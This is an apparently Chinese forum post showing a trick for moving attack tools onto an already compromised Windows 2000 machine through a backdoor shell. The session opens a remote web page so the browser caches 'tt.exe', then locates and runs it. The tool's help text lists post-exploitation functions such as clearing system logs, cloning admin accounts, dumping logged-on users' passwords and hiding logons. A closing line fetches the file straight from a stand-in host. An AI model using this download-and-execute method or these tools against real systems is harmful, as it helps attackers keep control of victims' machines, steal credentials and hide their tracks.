变态传文件法（比tftp，ftp，iget.vbe都爽的

砂拉豆

系统用户没有登陆的情况下测试，当然，登陆了更好，呵呵
-----------------可爱的分割线---------------------------
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
[wsdd-wb7egq0ebt at C:\WINNT\system32]#dos
Microsoft Windows 2000 [Version 5 dot 00.2195]
(C) 版权所有 1985-1998
Microsoft Corp.
C:\WINNT\system32>dir c:\tt*.exe /s
dir c:\tt*.exe /s
驱动器 C
中的卷没有标签。
卷的序列号是 045A-2E61
找不到文件
C:\WINNT\system32>start http://aaa.sssss.com/a.htm
start http://aaa.sssss.com/a.htm
C:\WINNT\system32>dir c:\tt*.exe /s
dir c:\tt*.exe /s
驱动器 C
中的卷没有标签。
卷的序列号是 045A-2E61
c:\Documents and Settings\Default User\Local Settings\Temporary
Internet Files\
Content.IE5\0VELAZCD 的目录
2005-10-09?
18:15???????
39,139
tt[1].exe
???????
1 个文件???? 39,139 字节
??
列出所有文件:
???????
1 个文件???? 39,139
字节
???????
0 个目录?3,273,519,104 可用字节
C:\WINNT\system32>"c:\Documents and Settings\Default User\Local
Settings\Temporary
Internet Files\Content.IE5\0VELAZCD\tt[1].exe"
"c:\Documents and Settings\Default User\Local Settings\Temporary Internet
Files\
Content.IE5\0VELAZCD\tt[1].exe"
MZ at
Opintion
:
?
-filter?????????
---Change TCP/IP filter to on/off status dot
?
-addport?????????
---Add ports to the filter' allowed portlist.
?
-setport?????????
---Set ports as the filter' allowed portlist.
?
-nicinfo?????????
---List TCP/IP interface info.
?
-pslist?????????
---List active processes.
?
-pskill?????????
---Kill a specified process.
?
-dlllist?????????
---List dlls of a specified process.
?
-sysinfo?????????
---List system info.
?
-shutdown????????
---Shutdown system.
?
-reboot?????????
---Reboot system.
?
-poweroff????????
---Turn off power.
?
-logoff?????????
---Logoff current user's
session.
????????????????
Used in an interactive logon session only.
?
-chkts??????????
---Check Terminal Service info.
?
-setupts?????????
---Install Terminal Service.
?
-remts??????????
---Remove Terminal Service.
?
-chgtsp?????????
---Reset Terminal Service port.
?
-clog??????????
---Clean system log.
?
-enumsrv?????????
---List all services.
?
-querysrv????????
---List detail info of a specified service.
?
-instsrv?????????
---Install a service.
?
-cfgsrv?????????
---Changes the configuration of a service.
?
-remsrv?????????
---Remove a specified service.
?
-startsrv????????
---Start a specified service.
?
-stopsrv?????????
---Stop a specified service.
?
-netget?????????
---Download from http/ftp.
?
-redirect????????
---Port redirect.
?
-chkuser?????????
---List all account、sid and anti clone.
?
-clone??????????
---Clone from admin to dest.
?
-never??????????
---Set account looks like never logged on.
?
-killuser????????
---Del account. Even "guest" account.
?
-su???????????
---Run process as Local_System
privilege.
????????????????
Usage: mt.exe -su [File]?----Default run cmd.e
xe
?
-findpass????????
---Show all logged on user's pass.
?
-netstat?????????
---List TCP connections.
?
-killtcp?????????
---Kill TCP connection.
?
-psport?????????
---Map ports to processes.
?
-touch??????????
---Set the file times for a specified file.
?
-secdel?????????
---Secure delete files and directory or zap free
s
pace.
?
-regshell????????
---Enter a console registry editor.
?
-chkdll?????????
---Detect gina dll backdoor.
C:\WINNT\system32>
-----------------可爱的分割线---------------------------
呵呵，目的达到．
让大家看看htm的代码
-----------------可爱的分割线---------------------------
-----------------可爱的分割线---------------------------
就是这些了，如果你没看懂有什么用，那只好说sorry了．呵呵
缺点？当然也是有的拉，呵呵
------------------------------------------------------------------
汗，原来早就有人提过，还有不需要构造htm的方法，
羞死
START ITS:HTTP://sdf.sdfd.net/tt.exe